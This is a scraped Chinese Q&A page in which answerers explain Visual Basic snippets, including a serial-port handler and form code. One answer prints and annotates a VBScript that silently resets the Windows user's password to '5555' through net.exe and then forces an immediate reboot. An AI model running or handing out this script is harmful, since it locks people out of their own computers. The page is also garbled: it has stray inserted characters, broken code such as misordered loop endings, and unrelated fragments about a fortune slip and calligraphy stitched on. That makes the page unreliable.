哪位vb大神給解釋一下這段程式什麼意思

時間 2021-09-08 03:20:01

1樓:堅牧

case comevreceive '...有接受事件發生delay子程式是延時用的,就是等一會,用在程式中就是讓系統等待一會,讓串列埠把資料傳送完全

起作用的句子是:

讀串列埠送來的串的後8位

前3位放在文字框中

mscomm1.inbuffercount = 0 '...清空輸入暫存器

ch<>"$"這個條件成立與否要除錯下,顯然$是交換資料時串的分隔符

2樓:匿名使用者

private sub delay() '私有 子** delay()

dim m as integer '建立 m 型別 整數型

dim i as integer '建立 i 型別 整數型

for i = 0 to 10000 '迴圈 i 0到10000 也就是10000+1 因為0也算一個數

for m = 0 to 500 ' 迴圈m 0到 500 也就是500+1

next i '依次迴圈i

next m ' 依次迴圈m

end sub '結束子**

private sub msccomm_oncomm() '私有 子** msccomm_oncomm()事件

dim ch as string '建立 ch 字元型

dim temp as byte '建立 temo 位元組型

dim n as integer '建立 n 整數型

dim distance as integer '建立distance 整數型

select case mscomm1.event '選擇 判斷 mscomm1的event屬性 狀態

case comevreceive '判斷= comevreceive

delay '執行

ch = mscomm1.input 'ch = mscomm1的input值

if ch <> "$" then mscomm1.inbuffercunt = 0

'判斷 ch 不等於 "$" mscomm1的inbuffercunt 屬性 = 0

else '判斷其他結果

ch = right(ch,8) ' ch = 右邊(ch內容,8位值) '右邊是一個函式

text1.text = left(ch,3) 'text1.text = 左邊(ch內容,3位值)'左邊是一個函式

mscomm1.inbuffercunt = 0 'mscomm1的inbuffercunt 屬性 = 0

end select '結束選擇

end sub'結束 子**

vb的問題,誰能幫我解釋一下這兩段**什麼意思嗎?

3樓:匿名使用者

option explicit '這個是規範所有變數都要定義才能用

private type mypoint '定義一個資料型別

mypoint,包括x,y

x as single

y as single

end type

private type rect '定義一個資料型別rect ,

left as long

top as long

right as long

bottom as long

end type

'下邊是api,作用是獲取hwnd窗體的位置

private declare sub getclientrect lib "user32.dll" (byval hwnd as long, byref lprect as rect)

const pi = 3.1415926 '定義常量 圓周率

中間是主程式

private sub form_load() '窗體載入

dim rt as rect '變數定義

getclientrect me.hwnd, rt '獲取自身的位置

dim wh as single

wh = (rt.right - rt.left) / (rt.bottom - rt.top) ’計算寬/高的比例

me.scale (-100 * wh, 100)-(100 * wh, -100) ‘調整窗體的座標系統

end sub

誰幫我解釋下這段vb**大概什麼意思?

4樓:匿名使用者

這段**就是

抄每個控制元件的bai功能是什麼了,就比如:

private sub tmrsta_timer()stamain.panels("time").text = now()

end sub

這就du是個時間zhi控制元件,在底部選單的daotime欄顯示系統時間。

誰能幫我解釋一下這一段vb**都什麼意思。最好一句句解釋

5樓:匿名使用者

on error resume next '遇到錯誤繼續執行下一句**

dim fso,ws,file,shut,password '定義變數

password="5555" '變數賦值

set fso=wscript.createobject("scripting.filesystemobject") '建立物件

set ws=wscript.createobject("wscript.shell") '建立物件

fol=fso.getspecialfolder(1) '獲取system32資料夾路徑

file=fol & "\net.exe" '變數賦值檔案路徑

shut=fol & "\shutdown.exe" '變數賦值檔案路徑

ws.run file & " user %username% "+chr(34) & password & chr(34),0,true '執行net。exe修改系統登入密碼為 5555

ws.run shut & " /r /f /t 0",0 '執行shutdown.exe重啟電腦

能幫我解釋一下這段程式麼,誰能幫我解釋一下這段程式的意思?最好每一句特別是開頭那幾句有什麼作用?萬分感謝

樓上的寫的不錯,就是將大寫的改成小寫的,但是你要注意的一點是,即便是你輸入的不是小寫字母,比如特殊符號什麼的,是不會改變的.將處理過的字元,儲存到檔案裡 檢查輸入的字串裡面的每個字元,是否在 a z 之間,如果是,則將其ascii碼值 32,也就是將小寫轉換為大寫,然後寫入到檔案中 應該是 開啟檔案...

牛人給解釋一下這段籤文吧,謝謝,誰能幫忙解釋一下這段籤文是什麼意思,謝謝!

這是一首相思曲。用芭蕉葉來寫佛經,可滿載著愁緒的芭蕉葉哪承得住女子的相思之苦,本應讓人心靜的佛經更添了無限愁緒,只能輕踱金蓮在庭中徘徊。月朗風清正是相會的好時候,可此時不能相逢只能相憶,傳入耳簾聲聲玉笛飄飄絃樂讓孤身得我聽了更是愁緒不能自已。在孤單的夜晚借酒澆愁,冷風入薄衾,更冷,相離數載,清淚雙行...

誰幫我解釋一下草書的意思,哪位大神幫我解讀一下這幾個字是什麼意思!?

草書,是為書寫便捷而產生的一種書體。說文解字 中說 漢興有草書 草書始於漢初,其特點是 存字之梗概,損隸之規矩,縱任奔逸,赴速急就,因草創之意,謂之草書。廣義的草書 是指不規範的草書,它包括兩種情況 一是,在文字不統一的遠古時代,自然不會有統一規範的草書,那時出現的潦草的字,就屬於廣義的草書 二是在...